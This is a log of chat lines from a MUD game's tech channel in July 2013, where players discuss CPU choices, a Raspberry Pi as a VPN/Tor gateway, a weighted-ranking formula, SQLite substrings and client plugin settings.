T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: For a cheap box, go with a AMD, pretty much anything you can afford, and a radeon gfx card.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Tigernuts Tech: cheap gaming rigs are an anaethema, they don't exist
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Frolo Tech: the amd with inbuilt gaming card is not that bad himseld
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vost Tech: I am thinking about buying a Haswell system
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: haswell is nice, but pricier.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: I prefer intel over amd any day, but they do cost a premium.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vost Tech: yeah, but I won't need to upgrade for 8 years
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vost Tech: Intel have better design and lower power usage
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vost Tech: AMD are a budget option
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Tech: CeriQ is agreeing with that Vost person again...
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: Yep. They run faster, cooler and cheaper on the electricity. But AMD is cheaper to buy, which I assume is a factor if you're running a P3 600Mhz today. :)
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vost Tech: well, kind of
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Metzli Tech: P3 600mhz. Jebus
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: Sorry if that came across as offensive, wasn't my intention.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vost Tech: my P3 does pretty much everything I need it to do
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: i dunno, i like the amd turion
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vost Tech: it doesn't lik emulti-tasking
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: Oh vampiredude, there's absolutely nothing wrong with amd...
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vost Tech: and sometimes has random slow-downs
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: Just that as soon as they catch up to intel these days, intel releases something new that blows them away.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: They've been playing catch-up for the last 4-5 years atleast.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vost Tech: won't play YouTube or streaming radio
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: btw, guys, if i was gonna buy a cheap netbook or tablet to put a bunch of encryption, tor, tunneling, and vpn stuff on, does it matter what model?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: Can't remember further than that but it might be longer.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: or is it pretty much a one size fits all motiff?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Tigernuts Tech: no, but you'll want linux on it
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: Get a raspberry vamp.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: ceriq isnt rasberry still waitlisted?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: Nope, I got one 2 days after I placed my order.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: hmmn. k
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: any modules you suggest?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: The main distributor only sells them in crates/pallet loads though, so find a reseller. Should set you back about 60-70$ fully loaded with a 4gb card.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: i'm mostly just planning to use it as a gateway to hook regular laptop through anyways
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: modules? for a vpn/tor thingy? nah, just get a R2 and a 4 gb card, download raspbian and you're set.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: well, i guess it's safer to buy 2, that way i have a spare if one breaks?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: k, i'll go look around online
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: I'd rather get a space SD card, if anything will break in em that's it.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: sd cards don't fare well with multiple rewrites. I've heard of expecting 1-1.5 years of uptime and then the storage media is toast.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: well, physically dropping the pi could break it.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: Not if you get a plastic case for it. Which is included in my 60-70 guestimate. :)
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: ceriq k. so you think just buy one?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: Dropping the naked circuitboard could potentially break it.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: I got one a while back and it's awesome.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: I have it set up behind a screen at the office doing tunneling, scheduling and statistics.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: well what about getting 2?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: Well, 2 is always twice as many as 1. :D
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: I'm not sure why though. IF it breaks you can have a new, potentially upgraded one in notime.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: nice.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: well. yeah maybe so.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: I even managed to get some COM mouse drivers working on it so it's connected to a stone-age 17" touchscreen. :)
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: i was thinking doing 2, and setting one up to run my media server
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: and having it as a spare if the firewall/gateway breaks
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: but it'll be a bit of a learning project anyways, since i dont have any arm development stuff here yet
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: I haven't tried it, but there's a rasperry xbmc edition. It's gotten great reviews except for some stutter with some 1080p playback from certain compressions, not sure which.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: they're working on it though.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: i see. 
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: i well. i guess ill go price the pis on various websites, who did you use, if i may ask
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: You'll need some sort of external storage for it, easiest would be a NAS but then the money starts ticking away.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: I'm a reseller in sweden, so I got it from my distributor.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: well, i have a decent set of usb thumbdrives, and external hd enclosures
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: oh. i see.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: Where are you located?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: usa =(
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Frolo Tech: but you could use any ubunto clone to do this eq^^
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: nah, i dont need a gui for what it'll be doing
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: Check out MCM electronics, they're the official importers that are working with the brits who designed the thing.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: I actually think they build their own.. Even if they're actually made in china. :)
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: k
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: raspbian has a gui. ^^
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: well, i don't need a gui :P
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: it's not very fancy nor very fast, but it works.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Frolo Tech: if you don
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Frolo Tech: if you don't need a gui why not go fopr free bsd, it can what ever you want it :)
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: well, i want it to be able to output video. but i don't care if it runs mplayer on its own cpu or not. :(
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: Frolo free bsd doesnt offer the journaled filesystem support that i enjoy
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: There's a minimalistic version for the raspberry too, without basically anything except for a prompt and apt.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: can't remember the name but it's on the raspberry foundations website.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: Ceriq i was picturing some openssh, openvpn, tor, iptables, syslogd, busybox or other bash and utils, and then bonding+tun tap and some entropy gen
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: I know what half of those are, but I can't see any of them being a problem.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: As long as they're opensource and built locally, you'll be fine.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: downloading binaries and running them can be tricky since it's an ARM.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Frolo Tech: i liked linux mint, or is it to sophisticated for you?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: Never tried mint...
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: that's code for I've never heard about it.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: I'm mostly a windows guy though tbh.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Frolo Tech: if you are not into the hardcore essentials of linux i think linix mint is an ubuntu you could like
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: frolo you know what a rasberry pi is?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Frolo Tech: no idea
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: It's a creditcard sized ARM computer.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: when you see it, youll understand why i dont want quite so much installed
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: with like.. 3 different editions of linux available, all quite small.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: Raspian is a minified debian that's quite popular.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vost Tech: Raspbian
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: Sorry Vost, you're right ofcourse.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Frolo Tech: that is quite a difference, i tried to install it to my 13 years old laptop which was an idea, but i think this is different
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: http://www.mcmelectronics.com/product/83-14421?t=2&utm_expid=8634549-16 This is a Raspberry PI Model B Frolo. :)
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Frolo Tech: my laptop is a dual core 933 mhz laptop with 256mb of ram, so this is a bit better, but i can endure it ;)
T3/r7/2013-07-03.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: You need a DX2 486 minimum!
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Frolo Tech: sorry single core, but a lot better than dx2 is a pentium 933 any way
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: I liked my SX until I got my first DX. After that, I didn't like my SX any more. :)
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Zade Tech: WinXP is a intel dual 2.33ghz computer with 2gb ram - but contains the intel(R) ME (Management Engine) bios extension, and i can't seem to access the bios menu where the power-managent settings that put the system into a standby state after 5 minutes of inactivity (contrary to the WinXP powermanagement settings which is set to 45 minutes)
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Legendary Gruagach Tech: omg, next level tech
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Tech: You raise your eyebrow at Legendary Gruagach.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Bamboo Tech: Anyone here use interfaces on programming? Like in c#
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Legendary Gruagach Tech: does spottify work on ipad, too lazy for any kind of research
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Tech: there's a spotify app
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Legendary Gruagach Tech: nice
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: after downloading bast zip file with the plugin what are the steps to get it to work when you load a plugin?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: like where do you save it
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Ayasinda Tech: unpach the zip in the plugins directoy. So you get \plusins\bast/<files>
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Ayasinda Tech: and in plugins you have \bast and in that one all the plugin files.
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: yes :) what next?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Ayasinda Tech: whee my first miss to tech. Not to ans this time
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Jopari Tech: what is the thing that shows up in front of chan chatter?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Jopari Tech: for instance {chan ch=tech}
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Ayasinda Tech: that is because yuo switched clients. type tags channel off
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Vonliege Tech: it's a 'tag'
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Jopari Tech: thanks
T3/r7/2013-07-04.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: in html/javascript - is there a way to make a bit of code, a function  "important" that it fires always at the correct time no matter what happens? the examples show how to fix timing errors but i was wandering if there was another way.
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: i have two float values between 0 and 1 both, how do i multiply them so that one value is much more important than other but multiplied value can still be between 0 and 1
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Xaeris Tech: Duck, map them to [1,\infty], mulitply them, then remap them to (0,1)
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Xaeris Tech: or simply, take the numbers, map them to 1+x and 1+y, multiply, and then remap them to (1+x)(1+y) - 1
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Xaeris Tech: that'll take them from (0,1) to (1,2), multiply so their order is preserved, and then remaps the product back to (0,1)
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: i don't know if that would work
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Xaeris Tech: why not?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: let's say one value is 0.001 and other is 0.8 then result is 0.8018 but it shouold be much lower because of the first value
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: i want the second value to be more important than the first, the second is usually maybe between 0.2 - 1.0 but it can be anything, first value is much lower but it shouldn't matter as much, although i still want the result to be between 0 and 1
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Scars Tech: this is matrix math :P
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Scars Tech: i think you want an identify function between them
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: at first i thouhgt "a = a * 0.2 + 0.8" and b is just what it is, but then it can't go to 0, although i'm not sure this matters because i will be comparing the result against other values that are calculated same way
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: yea it doesn't matter if all values are calculated using this same function right?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Tech: wait, how did you multiply 0.001 and 0.8 and get 0.8018 instead of 0.0008?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: he said (1 + a) * (1 + b) - 1
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Tech: what's the actual problem being solved, rather than the type of function you're looking for?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Scars Tech: are you not able to add a simple case/if statement where if the result of 1+a * 1+b - 1 = b, then set = 0?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: i have a list of objects maybe around 200k instances of it, and each object has  two values - frequency and accuracy, i need accuracy to be more important but also frequency is needed, then i calculate a value and sort this list using the value so the objects with lowest frequency and accuracy will be removed from list
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Scars Tech: so you want to "rank" each accuracy and frequency independently, and remove the left-sided outliers, and then multiply the remaining data sets?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Scars Tech: why not manipulate each first, then do your function?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Scars Tech: maybe i'm missing something here...
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Scars Tech: if i were doing this in something simple (to me) like excel or access or sql, i'd go with that approach
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: i don't know some of the words you use, i failed high school math :P but i want to sort the list using both accuracy and frequency where accuracy has a greater impact and then remove around 10% of objects from list that have lowest calculated value
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: maybe there is a better way to do this
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Scars Tech: lets say you have (accuracy -> a, frequency -> f) that you want to manipulate by (1+a) * (1+f) - 1 = c
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Scars Tech: but you don't want to do this for every single grouping you have, you want to "filter out" some of them based on the value of "a"
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Taokan Tech: is it important that you multiply them?  This sounds like you simply want to create a weighted average, IE pick an N, then f*N + a*(1-N)
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Taokan Tech: where f is frequency, a is accuracy
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Scars Tech: yeah, that sounds like what you're trying to do to me, too
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Scars Tech: good catch taokan
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: i don't actually need the value i just need to remove X entries from list with lowest accuracy and/or frequency, if entry has low accuracy it's not useful and also if it has low frequency it's not useful
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: i thought sorting list would be the fastest option
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Frolo Tech: perhaps you can set thresholds and remove all below that values?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Scars Tech: then i'd do a two-step process of resorting your dataset from highest to lowest, identify your desired cutoff, and if the data doens't meet your requirement just remove it
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Taokan Tech: well now here's another question - is "low" linear, or would a bottom 10% value from either reduce confidence in the data?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: no i can't set threshold the values will be completely different based on input, for example it's possible that one day you have 0.8 average accuracy and one day 0.12
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Frolo Tech: like if you know that frequency below 1000 is useless and/or lowest 10% :)
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Scars Tech: fwiw duckbat, if you're removing the bottom 10%, it might back sense to remove the top 10% as well... otherwise your result likely becomes biased-high
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: high is better
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Scars Tech: it's distorted, is what i'm saying
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Scars Tech: bias is not a desired quality when doing a statistical analysis
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Taokan Tech: I don't think duck's doing statistical analysis, I think he's throwing out low confidence data
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Scars Tech: outliers would exist both high and low
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: i don't know how to explain what i'm doing it's more like a data prediction kind of thing
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: i gues it has both statistical analysis and removing low confidence data
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: those instances in the list will predict, and based on their accuracy and frequency of predicting i want to keep the best ones and remove ones that are wrong often or just don't predict anything
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Do you have an idea as to how much more important you want one to the other?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Scars Tech: and youre willing to keep all of those entries where the stars aligned and everything went perfect?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Because this seems quite simple to me...
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Find weights, multiply by weight to arrive at a 0->1 value
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: no idea, i will have to test this, but right now let's say accuracy is 5 times more important
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Taokan Tech: ok, then N = .16 (ish)
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: yes scars, because if stars aligned and it did predict correctly then maybe next time stars wron'g align and accuracy or frequency will lower itself gradually
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So you want (0.166 * freq) + (0.834 * acc)
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Taokan Tech: ie f*.16 + a*.84 should get you about there
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: it's that simple?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Taokan Tech: err, maybe .14
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Assuming freq and acc are between 1 and 0 themselves
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: yes they are
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Then yes, it is that simple
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Taokan Tech: divide 1 by 6 for however much accuracy you need
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: but if frequency is 0.00001 and accuracy is 1 then value will be higher than some other where frequency is 0.5 and accuracy is 0.4, but the second one is better to keep
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Scars Tech: i wish i knew what this was for, exactly
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Scars Tech: because dtrack seem to do a lot of what you're describing
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Taokan Tech: ah ok, then you need squares maybe
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It's a simple weighted sort - think of a situation of kids at school getting grades. Test is worth 20%, essay is worth 80%.
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Lorken Tech: is there a way to set a trigger if the war declared is in your level range - i am using mushclient and fairly familiar with triggers, but not sure if there is a way to use your level as a variable and see if it is between the levels declared in the war?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: this doesn't work in my case i need both values to be good, if one value is 0 then all should be 0
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: But if you want non-linear weighting, then yes you would want edge-case weighted, which means squares or perhaps logarithmic
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: yeah non-linear
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Taokan Tech: IE if it's not simple like weighting grades, if outliers very close to 0 would weigh more heavily than middle values, then you may want to square 1-f, 1-a, apply your weights, then scrape the *top* values
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Tech: lorken: I have a plugin that hides war declarations outside your level range
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That unfortunately throws out our .834<->.166 weighting
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: are squares fast? this is calculated a lot of times if there are for example 200k entries
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Lorken Tech: ooh where can i find your pulgins abelinc? in your whois?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Tech: always look at people's finger for their stuff :-)
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Taokan Tech: squares are probably fast, logarithms maybe not
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Tech: btw, duckbat, is there a reason duckbat.com and your google code page are no longer in your finger?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: google took away my account so i can't do anything there, and duckbat.com is in help www
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Lorken Tech: thanks abelinc found your link :)
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If you want speed, you could try banding - weight based on position on a band, say 0.0-0.1, 0.1-0.2, etc
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It would be less accurate than using a formula, but much, much faster if you pre-fill values
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: hmm but this is same problem as threshold because accuracy and frequency can change a lot
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Or perhaps I'm overthinking things... would (weightF * f) * (weightA * a) solve it... lemme see
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Taokan Tech: as written, the values of weightf and weighta wouldn't really weigh those individual values at all
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Taokan Tech: straight multiplication is commutative, order doesn't matter
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Yeah... solves 1 issue while unsolving the other :-P
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Ok, ((weightF * F) + (weightA * A)) * min(A, F)
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Inferno Tech: anyone know the right expression to replace the value of a field with the same value bt a suffix removed (i.e. if Name = John Smith, Jr. to replace with just John Smith)
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Tech: you'd want to use a substring
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Tech: but what command/expression would depend on what program you're in
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Tech: usually for that one, you'd do a "find" on the string to find the comma, that will give you the character position of the comma, and you can then substring up to that
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Tech: which will rely on the formula being First Last comma suffic
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Tech: suffix*
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Inferno Tech: sqlite
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Tech: people who input John Smith as "Smith, John" would cause the name to be Smith, and the suffix to be John, though
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Tech: and do you care to retain the suffix in a new field, or is just dropping it OK?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Inferno Tech: good point. will need to keep it for a new field. i think what i was missing is substring
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Inferno Tech: that's the part i didn't know. i checked the syntax and think i can manage the rest.
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Inferno Tech: thanks
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Tech: no prob...the complete answer would probably use a combination of "charindex", "substr", and "trim"
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Tech: charindex gets the position of the comma, for use in the substr command, and trim will get rid of leading/trailing spaces
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Acidangel Tech: is there anyway to disable the auto pop up help in the aardmushclient?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Acidangel Tech: that is tied to f1 key?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Legendary Gruagach Tech: you'll get help, and you'll like it!
T3/r7/2013-07-04.txt.gz:{chan ch=tech}BlueBeetle Tech: its not auto tho
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Ayasinda Tech: file>global preferences - General Tab  to change F1 for macro
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Acidangel Tech: how? i already changed the macro so i guess that is the wrong thing
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Tech: https://code.google.com/p/aardwolfclientpackage/wiki/FAQ
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Tech: the client's FAQ tells how...
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Acidangel Tech: thanks ayasinda.. 
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Ontuct Tech: so the chunk of newspaper I wedged under it was unnecessary?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Ayasinda Tech: don't thank me yet. I'm famous for giving wrong answers
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Tech: the FAQ [and the rest of the wiki there] will also answer your next 13 questions ;-)
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Acidangel Tech: you were dead on.
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Acidangel Tech: don't have any other questions, i managed to get everything else setup pretty easily :)
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Tech: yes you do
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Tech: you just don't know them yet
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Acidangel Tech: negative ghostwriter
